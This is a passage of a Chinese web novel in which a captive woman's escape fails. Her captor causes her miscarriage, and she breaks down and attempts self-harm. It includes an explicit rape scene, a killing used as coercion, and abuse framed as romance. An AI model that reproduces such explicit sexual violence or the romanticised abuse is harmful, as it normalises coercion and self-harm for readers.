谦逊的笑容。但,此刻,却让我感到背脊一片凄凉,双手紧紧地佼在一起,手指
关节也早已泛白。
不会的,不会的,咲夜凉不可能会发现的,我不断地安慰着自己。慌乱地低
下头,想要以此来平绪自己的情绪,却不尽然。我亦不知道宋子非是否察觉到了
什么,但我可以肯定的是,他一定已经发现到了我的不对劲。
整个晚上,面对着宋子非细心的呵护关心,咲夜凉高深莫测的笑容以及咲夜
氷河探求的眼神,使我感到坐如针毡。
夜,似乎静得可怕,仿佛世间的一切都已停止。恐惧感再次布满着全身,然
而,却夹杂着不可言喻的喜悦感。
7 岁那年,母亲去世那年的寒冷冬夜,我感到自己的心也在那时冰封了起来。
从小到大,母亲从未给过我每个孩子应该得到的母爱,我知道,她并不爱我,
每当她看着我的时候,就象是在看着阴沟里的肮脏老鼠一般,而我却仍然爱着她,
象每一个孩子爱着自己的母亲那般,但是,我却不敢表达出来,因为这样做只会
让她更讨厌我罢了。
从小到大,我一直渴望着得到母爱,然而却在那个寒冷的冬夜,我永远地失
去了她。
对于第一个孩子,我是那么地盼望着得到他,渴望着自己可以生下他,给予
他自己所有的爱,让他可以快乐地成长。然,当我知道他的存在与失去他却只在
一夕之间,一切都是那么快,瞬间便化为乌有。那时,我感觉到自己最后仅剩的
唯一的东西都已被夺走,我的心亦同时彻底地空了。
此刻,当初宋子非的话语,再次不断地一直萦绕在我的耳边。“即使孩子是
我的,我也同样不会留下他……”
窗外,一丝微弱皎洁的月光照进屋内。我瑟缩地坐在床头怔怔地望着它,仿
佛是在黑夜中独舞一般,试图挣扎着脱离黑暗般……
* * * 一夜的未眠,让我整个人亦看上去憔悴不堪,我绝不能让宋子非察觉
出异样来。起身步入温泉池,浸泡于其中,以望洗尽一身的疲惫和憔悴。
“小姐。”美奈静候在池旁,轻声唤道。
“恩……?!”溢于全身的舒适感让我的声音显得低糜庸懒“刚有人送来这
个,说是让亲手交给您。”说罢,便递上一封信。
我疑虑地接过美奈手中的信,为何信会交由美奈手中?难道说……
Chapter.12我,始终是过于天真啊。顶着戟家千金的名号生活了十几年便以
为自己是真正的大小姐了,殊不知自己打从出生开始便是以阴沟里的老鼠般的姿
态存活下来的。
7 岁之前的童年,在别人眼里我虽然连个乞丐都不如,但至少我尚有些许自
由可言。然,有些东西是再怎么从外表改变,其内在的因素却仍是挥之不去的。
就象我再怎么把自己打扮得犹如公主般,但那骨子里却仍是有着乞丐的因子
存在,附带的还烙得一个傀儡的名号。
美奈说过些日子便是日本一年一度的樱花节,想来要去定做些和服,以入了
日本的习俗。而宋子非也欣然答应。
生活中,也许有些事有些人真的不能光从外表来评论。再单纯的事物,终究
也有其复杂的一面,更何况是人呢。
咲夜凉约我今天下午3 时于清水寺见面,却也恰好是美奈替我约定好出外定
制和服的时间。
“戟小姐。”还是那倾入心啤的微笑,如沐春风。
“咲夜先生。”我礼貌性地回以问候,淡然地望了一眼亦在身后跟随着的美
奈。
“不知道咲夜先生今日一见为何要事?”无须拐弯抹角,有些事情大家都早
已经心知肚明。
“戟小姐近日身体可为好点?”渐入正题。然,语气中隐然透露着些许关怀,
毋庸置疑。
“已经好多了,”必要的周旋还是需要的,“不劳咲夜先生挂心。”
“戟小姐,何必如此见外呢。”不得不说,咲夜凉有着一双令人感到温馨的
眼睛,让人亦感到温暖舒心。
然,他的话亦同时让我正视到,自己似乎过于敏感及浮躁。
“我只是想要帮助你而已。”真挚的神情,但,却不禁让我觉得可笑以及可
悲。
咲夜凉,你凭什么想要帮助我,你亦有什么能力帮助我。然而矛盾的是,我
却又极其地需要着这种帮助。我知道现在的自己,就犹如是一只受困的猎物般,
正一步一步地慢慢踏入陷阱,却仍高傲地不肯屈服,但又极其地渴望着被救赎。
“为什么?”不可否认,相对的,我心里亦充满着太多的疑惑。
一个男人想要帮助一个女人不外乎两种情况,第一种是因为这个女人本身就
具有一种利用价值,相对地,帮助了她,便等于是掌握了她;第二种则是因为女
人的自身因素,让男人不禁想要帮助她,以此来得到她的身体或者是她的心。较
于第一种,第二种似乎来得要更单纯些。
“我也不清楚到底是为什么。”咲夜凉轻握住我的双手,他的手掌很大,温
温的,“相信我,我是真的只是想要帮助你。”
“难道你不是早就已经计算好了的吗?”不着痕迹地轻抽回自己的双手,抬
眼瞟了一眼站在一旁的美奈。
“你知道的,把美奈安排在你的身边并没有恶意啊。”咲夜凉凝眼望着自己
的双手,似乎夹杂着些许的失落感而低喃道。
没错,也许较于某些时候,我亦不能完全把所有的过错都安扎在别人的身上。
虽然美奈之于我的是背叛,但是,我却也不能以次而抹杀了她人的真心。
“谢谢你的好意,但是,我……”
“不要拒绝我,好吗?”欲拒绝的话语被柔声地打断,“我知道你的心里在
顾虑些什么?”
“既然你都已经知道,那么恕我先行告辞了。”说罢,便欲起身离开。
“过些日子,父亲大人会安排宋子非去北海道的组织内处理一些事情,时间
虽然很有限,也异常地仓促,但是却仍足够我们于之利用了。”迫于急切地想要
表达着自己。
此时,眼前的咲夜凉,让我不禁想到了熏,那个为了保护我甘之愿意付出生
命的人。我知道,此次是一个绝好的机会,如果这次错过了便是永远的错过了。
然,我虽然不是什么圣人,但是却仍不忍于看到第二个人为我而冒险,一个
……
便已足够了。
“不要怀疑我的真心,以及我的能力。”似乎察觉到了我心中的疑虑,坚定
的眼神似是在诉说着一切。
我神情复杂地望在着眼前的男人,眼神中透露着迷茫,渴望以及不安……
我真的可以相信他吗?可以把一切都交由予他吗?
此时此刻,让我想到的是肚子里孕育着的那个新生命,尽管他的体内流着一
半让我厌恨的基因,但这却仍不能抹杀掉事实,毕竟他是我的骨血啊。不予否认,
第一个孩子的失去,让我偿到了什么是痛不欲生。然,第二个孩子的拥有,却又
让我看到了重生的曙光。
终究,我亦无法走出母亲的阴影啊……
* * * 宋子非明天将要搭乘前往北海道的飞机,同样的,我也亦会在那一小
时后搭乘前往南非的飞机,为了防止宋子非找到我,我将进行一系列的飞行,辗
转飞往加拿大,澳大利亚以及摩洛哥等地,最终抵达于目的地——英国的曼彻斯
特。
过了今夜,我便可以逃离宋子非的身边,这是我一直以来都梦寐以求的。然,
借着窗外透射进来的隐隐月光,我深深地拧完个着身边早已熟睡的宋子非,心中
却浮现出的却是隐隐的难奈与焦虑甚至于一丝不易察觉的不舍。
人,有时候真的是个极其矛盾的个体。
三月的清晨,庭院内飘零着漫天飞舞的樱花花瓣,让人感觉美丽而妖异。木
讷地坐在榻榻米上,脑海中的影象一直停留在半个小时前宋子非离别时看着我的
神情,那犹如深海般深不可测的眼神,让人挥之不去。
“小姐……”美奈的声音自身后响起,“时间已经到了。”
迷茫地徒然站起身,却突然感到一阵头晕目眩,昏乱中亦感到有人慌忙地伸
出手扶住我,我才得以幸免于摔倒。
“小姐,你没事吧?”美奈关怀而焦急地询问道。
“没事……”抬起手轻轻地挥了挥,“只是坐得时间长了些,有些头晕罢了。”
然,殊不知方才的我,感到一片混天暗地之时,袭上心头的是深深的茫然与
不安……
关西国际机场……
在前往机场途中之前,美奈对我做了些简单的易容术。我亦全身没有携带任
何东西,除了护照以及机票。咲夜凉在南非那边已经安排好了接应人员,以后的
行程也都由他来陪伴,直至把我送达目的地,安顿好了为止。
然,命运往往最擅长的便是捉弄于人。
我踏上自动电梯,望着它有下往上一节一节地缓缓上移时,我的心也跟随地
跳动地越激烈。终于电梯抵达了,我亦飞快地迈出脚步奔向入关处。然,却事与
愿违。
“诺诺……”熟悉的声音从身后不远处响起,全身的毛细孔也同时叫嚣着。
我知道,自己已经逃不掉了。麻木而迟缓地转过身,看到宋子非正站在电梯
口凝笑着望着我。
“诺诺……”温柔地向我伸出手,“过来……”
“不……”我低着头轻声地呢喃道,脚步亦不听使唤地缓缓后退着,眼底亦
蓄满了因绝望而欲夺眶而出的泪水,“不……不……”
“乖……过来……”宛如天籁,犹如是在哄着孩子般地低声细语着。
“我们回家……”仍旧轻声地哄着我,“对……听话……”
当我听到宋子非对我说“我们回家”的那刻,我根本不清楚自己到底是怎么
了,感官上只知道自己停止了渐往后退的脚步,而是奋不顾身地往前迈开脚步走
向宋子非。望着宋子非向我张开的双臂,我的脚步渐渐加快,就象是急于奔向那
可靠而温暖的港湾般。
同时,我亦明白了原来自己早已疲于逃亡的生活,当那句“我们回家”的话
语倾入我心啤时,顿时,我心底深处那份渴望得到一份安定与平和的心境似乎在
那一刻得到了满足。
然,当我自以为得到了那份渴望时,却不想,见到的是冷酷的微笑,等着我
的亦是残忍的侧身,而我,亦重重地摔了自动电梯,耳畔边仍回响着:“这是对
你的小小惩罚。”
尖叫声与喧哗声立时响彻四周。我亦感觉到自己那仅剩的灵魂也已抽离,我
仿佛又回到了那个寒冷的冬夜……
下体开始感到剧烈的疼痛,血水亦早已蔓延开来,娇艳夺目。而那钻心的痛
楚,也已经麻木,黑暗中,我仿佛看到了宋子非神情慌张地向我奔来,有痛楚,
有懊悔,有绝望……
而,一切的一切,都只是我的自作自受罢了……
Chapter.13病房中那寂静的白色,白得刺目,让我厌于睁开双眼,到处都充
斥着刺鼻的消毒水的味道。
“宋先生,请您恕罪,我们已经尽力了。”似乎隐约中听到有人的说话声,
唯唯诺诺的,让人不觉生厌。
“废话少说,我只要为什么她到现在还没有醒过来。”急切的声音,夹杂着
沙哑的疲惫。
“宋先生,请您冷静下,之所以戟小姐还未苏醒过来是因为麻醉药的药剂还
未退,请您不必过于担心。”
“是吗?”舒心的口气。
“不过……”欲言又止。
“不过什么?”转瞬,是暴怒的情绪。
“恐怕……恐怕戟小姐今后再也无法生育了。”胆怯的声音,哆嗦的语气。
………………
之后的话,我再也听不下去了,仿佛世间的一切都在这一刻停止了般。
空洞的眼神无神地睁开,亦没有焦距般地投向远方,盯着那白得刺目的天花
板。
“诺诺……”那令我厌恨的声音在耳边响起,我极力地想要排斥它,却毫无
办法。
紧接着,映入眼帘的是那张令人恶心的脸孔,上面写着太多的惊喜与欢欣,
还有害怕与懊悔。
他紧紧地抱住我,然,现在的我,心里面什么感觉都已经没有了。麻木的身
体任由他搂着,听着他在我耳边不断地轻声呢喃着的“对不起……对不起……对
不起……”
我虚弱地扬起嘴角,他居然对我说对不起?!这岂不是让我感到受宠若惊。
“哈哈……哈哈哈……哈哈哈……”我开始肆无忌惮地狂笑。宋子非猛地用
双臂拉开我的身体,与我正视。而我只是不停地在笑,双眼空洞,就象一个破碎
的傀儡娃娃般麻木,张狂地狞笑着。
宋子非的眼里渐渐开始显露出恐慌,惧怕以及无助,他死死地盯着我因笑得
过头而扭曲,变形的惨白脸孔,就仿佛是在看一个怪物般。
一滴泪水从他的脸颊上划过,眼眶内充满着血丝,满目写满着痛苦,绝望以
及惊慌。
“哈哈哈……哈哈……哈哈哈……”我开始更加猖狂地狞笑着。
宋子非,你凭什么在我的面前流泪,你有什么资格?你以为这样你就可以赎
罪了吗?知道吗?就算你死了,我也不会原谅你。我要让你这辈子都活在痛苦和
绝望中,活在阴黑的地狱里……
“咳……哈哈……咳咳……哈……哈哈……咳咳……”我笑到岔气,却仍没
有停止。
我感觉到那根细长而丑陋的针管扎入我的手臂,眼皮越来越重,精神开始涣
散,但唇角仍不忘留下那狰狞的笑意。
* * * 我开始常常一个人独自坐在那里发呆,不哭不闹也不讲话。一双空洞
的眼神毫无生气,只会直勾勾地盯着远方。
犹记得当时,宋子非呆楞着看着我,面目惨白。他惊慌地一直不断地扯喊着
我,眼底盛满了痛苦和害怕,而我却丝毫未有反应。
想来也可笑,宋子非因此便大废周章地召集了全球最具权威性的神经科医生
来替我诊断。
然,我只不过是不想面对现实,不想去做思考,不想开口讲话罢了。世间的
一切对于我来说,已经毫无意义,所有的一切都只是过眼云烟罢了。
我被诊断为由于遭受过强烈的刺激与沉重的打击而导致了心理方面的过度敏
感,因而形成了自闭现象。
一个月下来,不管宋子非怎样哄我,求我开口说话,然,我只是就那样静静
地坐在那儿,一动也不动。每每到最后,他便会狠狠地抱紧我,而我,仍像个没
有灵魂般的傀儡娃娃般任由他抱着,冰冷地,没有任何反抗和情绪。
渐渐地,宋子非开始了不耐烦,时常勃然大怒。那时,他便会发泄般地把周
围所有的东西都砸在地上,他会截撕底里地大喊,“戟言诺,我求你……你清醒
过来啊,好吗?我求求你……你给我清醒过来啊。”
然,此时我只会瑟瑟地缩在墙角,抱紧了双腿蹲在那儿,涣散地望着那冷冰
冰的地板。没有人会知道在那苍白无力的虚弱面容上,隐含着的是诡异嘲讽的笑
颜……
* * * 时间,似乎总是在不知不觉中过得飞快。想当时,三月的樱花漫天飞
舞,随风飘逝,时至今日,已是阴寒冰冷的十二月,寒风瑟瑟,再明媚的阳光在
这阴冷的天气中也显得毫无生气。
我的神智开始越来越不清楚了,时常出现幻听幻觉的现象。一切的一切,总
是不断地闪现在我的面前,还总是时不时地能听到一些莫名的声音,母亲的谩骂
声,爷爷的嫌恶声以及子文的呵护声。我总是试图着想要牢牢地抓住一切,抓住
了便死也不愿放手,可每当我走近它们的时候,它们就会离得我更远,继而消失
不见。
白天,我开始喜欢独自一个人呆在那儿自言自语,外人的“打扰”便会使得
我声撕揭底地狂叫。然,我的两条手臂上也同样开始布满了深深浅浅大小不一的
针孔,镇定剂能够很好地换来我的短暂性安静。
夜晚,我开始习惯了在半夜的时候醒来,赤着脚踩过那冰冷的鹅卵石,在庭
院中飘零游荡。我总是在半梦半醒中试图找到我的孩子,想像着他们在庭院里嬉
戏玩耍。
每当夜间时刻的来临,便是我一天中最快乐,最轻松的时间。我喜欢在温柔
而美丽的月光下静静地独舞,在那窒息的寂寞与绝望中,开始没有任何感情地舞
动着。然,我更喜欢趴在那阴冷潮湿的石青路上,让全身的寒气边满全身,那样
会使我的心也随同一起阴冷下来。
每每此时,宋子非便会飞也似的冲到我的面前,把我抱起。我看着他眼里充
满了的愤怒,暴虐就会很开心,打从心里的开心。那种绝望,心痛的神情让我觉
得的是如此地快意。
我的情况愈加严重,被再次诊断为神经系统开始出现偏执性的精神错乱。若
不妥善医治,我很可能会一辈子都活在这种疯疯癫癫的日子里。
我不清楚自己是不是真如他们所说的已经疯了,一开始的装疯卖傻到了今日,
已经使我开始分不清真假。也许,我并没有伪装,其实我是真的病了,阴森的,
麻木的,呆滞的……
* * * 傍晚,下起了初冬里的第一场雪。映得到处都是一片白皑皑的雪景,
银装素裹,晶莹纯净。
夜晚,我亦和往常一样,赤裸着双脚走过庭院。我就像个调皮的小孩子般,
沿着石青路在雪地里印车一排排的脚印。
蒙胧中,犹记得小时候最喜欢的季节便是寒冷阴霾的冬季,让我感到最欣喜
的就是下雪,每每那时,我便喜欢到后山去,坐在那儿,单薄的衣服根本就无法
御寒,阴冷的寒风瑟瑟,扑打在脸上,身上,继而传到心间。
想到此处,我索性就躺在那白得透明的雪地里,儿时的记忆是会让人感到如
此地麻木不仁啊。
雪地里的寒瑟阴冷让人感觉是如此地舒适,我喜欢那种刺骨的阴冷传到身上,
冰冷阴潮的感觉透过薄薄的衣服让人麻痹不堪。我不禁自嘲道,心早已经麻痹,
感受不到了任何疼痛,然而,感官上却仍清楚地感觉到了那犹如撕裂般的疼痛。
我疲惫地睁开双眼,迷蒙地望着眼前的宋子非。他并没有像往常一样,立马
把我抱起带回卧室,而是就那样冷冷地站在我面前,面无表情,看不出丝毫情绪。
“来人……”低沉魔魅的声音划破宁静的夜空,“把她给我带到后庭去。”
“是,少爷。”一旁的管家,始终是如此地尽忠职守。
此时,天空又下起了茫茫的白雪。唯一的感知就是好冷,真的是好冷,感觉
浑身上下的血液都要凝结了般。
我就那样只着一件单衣地跪在早已凌结了厚厚一层冰的湖池中,神智涣散,
眼前的一切似乎都已模糊一片。
我的双手狠狠地抱着头,撕扯着头发,“啊……啊啊……啊……”仍不忘声
撕揭底地嘶叫着。
“你是不是打算就这么一直疯下去?”声音似乎是从遥远的方向传来,“不
愿意再清醒过来?”
是谁?是谁在那儿说话?我无力地紧闭着双眼,不愿睁开。
一双粗糙却不失温热大手拉开我撕扯着头发的双手,紧紧地扣起我的下巴,
迫使我停止了嘶叫。虚弱地抬起头,我吃痛地睁开双眼,惨白地微微颤抖着双唇,
怔怔地望着眼前的人。
俊美绝冷的五官,流转着阴戾以及隐忍着暴虐。他用手轻轻地拨开我额前散
乱的头发,却发现一片汗湿,我看到他的眼里闪现出一丝心疼与不忍。
“诺诺……”放低的声音让人感觉是如此地温暖,舒服。让我不自觉地想要
陶醉在那蛊魅的节奏里,安然睡去。
“乖,我们不要再这样相处了,好吗?只要你愿意醒过来,你想怎么样都可
以。我绝不会再伤害你了,我会一直爱着你,疼着你的。”深情地凝望着我,他
的唇慢慢地凑上前,覆在我的唇上。
好温暖,仿佛有魔力般,全身上下的感官都在不知不觉间体会到了温度。
那来自唇舌间的挑逗直至深处,一股不可抑制的恶心感速度袭上心头,意识
开始渐渐地凝聚起来。
不知不觉间,那吻已带着侵犯的味道开始蔓袭全身,顿时,我浑然一震。
我瞪大了双眼,惊恐地盯着眼前的恶魔,那来自腿间的寒冷骤使我徒然清醒,
我狠狠地咬下他的唇。
“唔……”隐约间,听到他猛哼了一声,嘴角边有鲜血开始慢慢地滑落。我
的胃里亦同时感到一阵翻搅,开始无止境地干呕起来。
望着我的冷酷眼眸中盛满了犹如野兽般残忍及至的嗜血行径,让周围所有的
人都不寒而栗。
“我的碰触就这么让你感到肮脏,恶心?”毫无掩饰的愤怒与残虐尽显眼底。
“知道吗?以前的你可是很享受在我身下的感觉啊。”嗜血的残忍闪现着,
“我就再让你好好享受享受……”说罢,猛地拽起我。
“少爷……”唯唯诺诺,欲言又止,“戟小姐她……她现在的身体以及……
以及精神状态……“
“闭嘴,”宋子非阴狠地望了眼老管家,“统统给我滚下去。”
全然不顾还在呕吐着的我,继续拖似般的方式把我拽回了卧室,狠狠地把我
往床上一扔。因愤怒而扭成一结的绝美脸庞,深色的眼眸变成了浓郁的幽深。
我害怕地瑟缩着全身,死死地盯着他……
Chapter.14我死死地望着眼前的男人,对他,我从未熟悉过,亦或者是根本
就不愿去深知,不愿去了解。包括他的过去,现在,以及未来。
宋子非阴冷地逼近我,看到的是暴怒的眼,让人不禁联想到接下来的画面将
会马上变得嗜血而暴力。
随着他的慢慢逼近,我害怕地节节后退,神智在那一刻似乎全都凝结在一起,
清晰无比。
我感觉到自己已经抵到了床头,再无路可退。很快地,宋子非便来到了我面
前,强健的体魄罩住了所有的光亮,给人一种无形的压力,黑暗而丑陋。
“嘶……”很容易的,单衣便被撕开,里面是我赤裸裸的身体,展露无疑。
“你……真的很可怜。”也许这就是所谓最后的垂死挣扎吧。我的眼里无比
异常地镇静,也是这几个月来最最正常的时候。
我不知道自己是真的还很正常呢还是所谓的“回光返照”。更也许,我根本
就没有疯,只是在潜意识里希望自己疯掉罢了。然,真亦是假,假亦是真,又有
谁去在乎,去感受呢。
顿时,他的眼睛里充满了愤怒,错愕以及情欲,真实而原始,呵呵……这才
是我所熟悉的男人啊。你何苦要带着那毫无意义的伪装,假装对我温柔,对我呵
护,对我深情呢?
我与你之间,本就是一场游戏,仅存在着征服与被征服,囚禁与被囚禁罢了,
根本就无须做戏般成为情人般的亲密。
我可以把自己赤裸裸的身体毫无顾及,毫无保留地展示在你的面前,可我的
心却不行。
他的目光停留在我的左胸口上,我知道那儿留着的是什么,然,这只会让我
觉得狰狞和恶心。
“为什么?”喃喃自语般,伴随着那无法言语的伤痛,“为什么为什么为什
么……你可以告诉我?戟言诺,为什么你的心就这么地容不下我。”
因为……那里在比你更早一步便盛满了仇恨,根本已经毫无你的容身之处。
“你到底想我怎么样?”抓住我的手腕,紧紧地蹙着眉,有懊悔,有痛楚,
有无措。
你我不是都很清楚,我们是什么样的关系?我唯一想要你做的便只是……
“我想要你去死……”面无表情,就象是在叙述着别人的事情般,自己则置
身事外。
“是吗?”他的声音显得有点沙哑,似乎已经压抑了许久。
“原来……你这么恨我。”转瞬,他从牙缝里挤出这几个字,显然是已经暴
怒到了顶端。“那么我不介意你再多恨我一点,你越恨我越好……”我的手腕快
要被他捏碎了,他的力道大得骇人。
他狭长的眼睛危险地眯了起来,就像一头发疯了的野兽般徒地抓住我的双腿,
强制性地把它们生生分开,让我以为他们是否已经脱了臼。
下一刻,他便把我狠狠地压在了雪白的大床上。我听到了裂帛声音的响起,
那是他自己撕裂了自己的衬衫。毫无前戏的,他将那昂然挺上的具器硬生生地塞
进了我干涩无比的甬道内。
他开始在我的体内疯狂地冲刺着,在我的甬道内,深深地,激烈地。我纤弱
的身体在他的身下不住地颤抖着,体内撕裂般的疼痛让我痛不欲生,却更加地催
化了宋子非施暴的欲望。然,我却死死地咬住自己的下唇不放,不哭,不闹,也
不求饶。
宋子非的目光就象是一头饥饿至极的恶狼般,一切都在一瞬间幻化为张牙舞
爪般地向我扑来,我感觉自己的身体就快要被他撕裂了……
他的唇落在了我的左胸口上,“啊……”我吃痛地嘶叫出声,额上的汗水滑
落。他毫无预警地在那咬了上去,那是一种噬血的啃咬,是一种疯狂的肆虐,狰
狞的野兽正在霸道地宣誓着。
无止境蔓延的情欲,无止境蔓延的血腥,无止境蔓延的糜烂,混杂着的气味
充溢在这空荡荡毫无生气的卧室内。
好痛,所有的痛楚都在一股脑儿地向我袭来,折磨着我。然,身体的痛,却
远远抵不过心理上的痛。
为什么?我已经自己本该早就已经没有了心的,可是如今,却仍这么地痛,
撕心裂肺……
* * * 宋子非每晚都会想尽办法地折磨我,每晚承受着的都是那撕心裂肺的
痛。似乎一切的一切都已经变了,隐忍着痛楚是我唯一的表情,惨白毫无血色的
唇里逸出的再也不是令人难看的呻吟,而是破碎的呜咽。
自从那次之后,我的甬道内便再也分泌不出湿滑的蜜液,对于宋子非每晚不
规则的律动以及不间断的冲刺,我承载着的是满满火辣辣的刺痛。
我想要挣扎反抗却始终无能为力,那抹雪白而纤弱的身体只能随着他的控制
而行动。
宋子非从不会顾及我左胸口上的伤势,是否会愈加严重。也因此,伤口每每
总是在结痂了又撕裂,撕裂了又结痂中循环运转,反反复复,永不休止,上面始
终都布满的是密密麻麻的牙印和血印,使其看上去更加狰狞,丑陋和恶心。
然,令人可笑的是,事后,宋子非从不会厌倦每每惺惺作态,温柔地替我涂
抹药膏。
宋子非在那之后,从不限制我的自由,因为他知道我已经被折断了翅膀。
他会毫不吝啬地对我细心照顾,吃饭时会为我挑好了鱼刺送到我的面前,喂
我一口一口地吃下,会为我盛好汤,一勺一勺地送到我嘴边等等,诸如此类的行
为天天上演着。
这一切,只不过是他变相的讨好罢了。宋子非,我并没有短手断脚,你何必
如此假请假意呢?你以为,在你对我做过了那些事后,每晚对我施以非人的待遇,
仅这些,就可以弥补了吗?
我日渐消瘦下来,本就胃口极小的我,现在更可想而知。然,试问,又有谁
会在面对着自己最恨的人时而有食欲?但是,宋子非总是有办法让我就范。
在我不断地以这种行为无声抗议了之后,恶魔微笑地凝视着我。“砰……”
我惊惧地望着应声倒地的厨师,耳边响起的是他魔魅的声音,“诺诺……下
一个要是再不对你的胃口,我们再换,好吗?”
寒意,从我的背脊凉到心头。每次,我都会逼着自己咽下很多很多食物,不
管是我喜不喜欢吃的,只要是出现在我的面前的,我便会一一咽下,就算我已经
饱到了难以下咽。
然,每每餐后,就像例行公事般的,我便会在洗手间里独自呆上半个小时,
把所有的东西都吐出来,直到呕到连胃酸都呕不出来。
我感觉自己就象是一缕青烟般,仿佛随时一阵清风都能把我吹散了。每当,
我一个人的时候,我便会双手抱膝,坐在塌塌米上,仰望着天空,安静如昔。
* * * 如往常一样,我凝望着天空,眼睛静得犹如一潭湖水。
“戟小姐……”
我寻着声音的来源处,望向来人。咲夜凉?他怎么会出现在这里?还是那一
如既往温柔和煦的微笑,他没因为我而受到牵连吧?我不希望无关的人再受到无
辜的牵连。
“我没事,美奈也很好,现在在我那儿。”似乎察觉到了我心中的另一个疑
问。
心安了不少,脸上浮起笑意。对于眼前的人,我一直不知道该用什么心境来
面对,于他,我们只有几面之缘,连说熟识都有些勉强,更不用说了解了。
“对不起,也谢谢你。”我虚弱地向他微笑着,表达着我最真挚的想法。
“凉……”一道不受欢迎的声音从我身后响起,从身后圈抱去我,深深地望
了我一眼后,随即便转向咲夜凉,“你早到了不少啊?!”调侃的声音,微笑着。
“怎么?”同样的语气,“不欢迎?!”
“要是我真这样,那岂不是对兄长的大为不敬?!”笑意更浓,“表哥……”
拥着我的双臂渐渐收紧,让我不禁吃痛地微皱起眉头。
“你叫我过来,是所谓何事?”咲夜凉生硬的口气,似乎有着些许不悦。
“我等下再来陪你。”说罢,啃咬着我的脖子,力道之大,应该已经出血了
吧。
我神情麻木地望着眼前,然,咲夜凉却皱紧了眉头。待宋子非松开我后,他
礼貌性地执起我的手,“戟小姐……再见。”便与宋子非一同离开。
我诧异地望着他离去的背影。转瞬,继续凝望着天空,却始终紧紧地拽着双
手。
* * * 宋子非的书房就在隔壁,隐约可以听到咲夜凉咆哮的声音。
“子非,你这样会把她逼疯的。”隐忍着的语气。
“够了,凉,你没有资格来管教我。”不耐烦的口气,阴冷无比。
“你知道的不是吗?”语气中透着无奈,“神崎医生说她的抑郁症越来越严
重了,已经不能再受到压力,不然就……”
“闭嘴,凉。”估计是已经到了极限了。
“难道你已经忘了你的母亲吗?再这样下去,什么时候她也会变得和姑母一
样的……”
“乒……”一阵瓷器破碎的声音徒然响起,打断了咲夜凉接下去的话。
宋子非的母亲?不就是宋子文的母亲吗?
望着眼前刚刚咲夜凉放在我手中的纸条:选择权在你,于我,会尽一切能力
帮助你……
Chapter.15窗外,下着沥沥细雨。蒙胧的烟尘仿佛就象是一层薄纱。绵绵细
雨飘落于寂静的庭院,落在院中清新茂盛的绿叶丛中,凝结成晶莹剔透的小水珠,
打落于地面,溅起一点一点水晕。
我呆呆地看着镜子,一个全身裸露,有着雪白如玉的身体的女人倒映在其中。
如丝般柔软光滑的黑发散乱在白得近似于透明的脸上,倾泻于遍布着青红交
错的吻痕的肌肤上,娇媚而煽情。
轻手触及自己的脸颊,白皙而消瘦,黯淡无神的眼睑下是明显的黑色阴影。
感觉到手中握着的那把尖刀,阴森而尖锐,隐约透露着逼人的寒气。
抬起手,镜中辉映着的是一把泛着银光的利器正一步一步地缓缓逼近,停留
在自己的左胸口。
没错,不知道这一刀刺下去,我会不会就此而命丧黄泉呢?应该会吧,只要
我刺得够准够狠够深。然,只是现在的我,还不会这么做。
我望着那狰狞而丑陋的左胸口,四周围还布满了星星点点,深浅不一的齿印。
对,我要毁了它。每当看到它,我就会觉得自己是如此地肮脏以及丑陋,就
会想到每晚那令人作呕的嗜血的禽兽行为。
不知道,如果没有了它,宋子非会是什么反映呢?只要一想到他脸上会出现
因为愤怒而扭曲的表情,我就觉得痛快万分。
然,戟言诺,你以为自己是谁啊?照照镜子看清楚了,哈哈……你只不过是
他手中的一个玩物罢了,一个可以供他操作和玩乐的傀儡娃娃而已。
尖刀就这样任我操作着,一点一点划上自己的左胸口,冰冷的触感袭上肌肤。
快了,就快要成功了,对,再往下刺一点……
“住手……你在干什么?”一声暴怒的声音在身后响起,紧接着是一阵急促
的脚步声。
我慌乱无措地转身,看到的是宋子非那张阴冷暴虐的脸,眉头紧皱,拳头紧
紧地拽在一起,指关节都早已泛白。难道他以为我要自杀?
“戟言诺,你给我放下来……”明显透露着紧张却又不容反抗的语气。
我却无动于衷,只是紧紧地拽着那把利器,指关节亦同样早已泛白。
“听到没有,我叫你给我放下来……”估计已经容忍到了极限,额上的青筋
都似乎已要暴出来,口气中尽显暴躁。
“不要过来……”宋子非渐渐地移步向我走进,“你……不要过来……”我
亦同时把手中的利器高举起,直指着眼前的男人。
“给我……”丝毫不畏我的举动,只是向我伸出手而已。
望着他一步一步的逼近,我开始不能控制自己,他的气势压得我快要喘不过
气来,脸色亦开始惨白无比,眼中的焦距亦开始涣散。
“你若真要刺下去,便只要对着这里狠狠地一刀便可。”许是看出了我的不
对劲,宋子非抬起手指着自己的胸口,眼睛却仍死死地盯着我,生怕一眨眼,我
便会消失不见了一般“我只求你不要伤害自己,好吗?”
顿时,我的脸上扬起了嘲弄,讥讽的笑意。原来在他眼里,我根本就没有那
个资格自己去伤害自己,能够伤害我的,仅此他宋子非一人啊。
既然这样的话,我便偏不愿如你的愿,我迅速翻转过手中的利器,狠狠地刺
上自己的胸膛,一瞬间泛起的阴冷寒光迫使我闭上双眼。
我微笑着等待着生命的流失。其实,对于我来说,这种解脱,亦不失为一种
好方法啊。
“诺诺……”隐约间,我听到一声惊慌失措的声音。
原本应该降临在身上的痛楚亦没有发生,取而代之的是感觉到一俱沉重的身
体以及听到一声沉闷的闷哼声。
猛得睁开双眼,映入眼帘的便是宋子非的脸庞,紧皱着眉头,脸色惨白,额
上正溢出一颗颗豆大般的汗珠。同时,我亦感到自己身上一片濡湿,湿湿的,粘
粘的,伸指一摸。
“啊……啊啊……”我望着宋子非浸满一身的鲜血,我惊惧地尖叫起。
“诺诺……不要……不要哭……”隐忍着痛楚艰难地说出口,抬起一只手想
要替我擦拭,然,却心有余而力不足……
室外的雨势越来越大,雨点劈里啪啦地打落在地面上,幻化开来,溅起一朵
一朵水漾。
我手足无措地望着眼前的男人,不知为何眼眶中的泪水一直不肯停歇地滑落
下来。一颗一颗地流个不停,我觉得自己自己的力气都要被抽干了般。
我就那样楞楞地望着他,双手亦死死地抓住他的右手。然,暗红色的鲜血却
仍不受控制地沿着指缝流淌出来,于四周围酝化开来,犹如一朵娇艳的玫瑰,不
断地刺激着人的感官,神经。
“少爷……少爷……”好像是有人进来了,一群急促而细碎的脚步声由远至
近。紧接着的是耳边回响着惊慌失措的声音。
迷茫中仿佛感觉到有人把宋子非从我的身上带离,顿时,肌肤上的温度也渐
渐消失,冰冷的气息蔓延全身,我寒瑟地紧紧裹住自己,似是想要以此来留住些
暖意……
* * * 手术足足进行了四个小时才得以完成,我静静地坐在加护病房内,过
于平静地忘乎于自我。
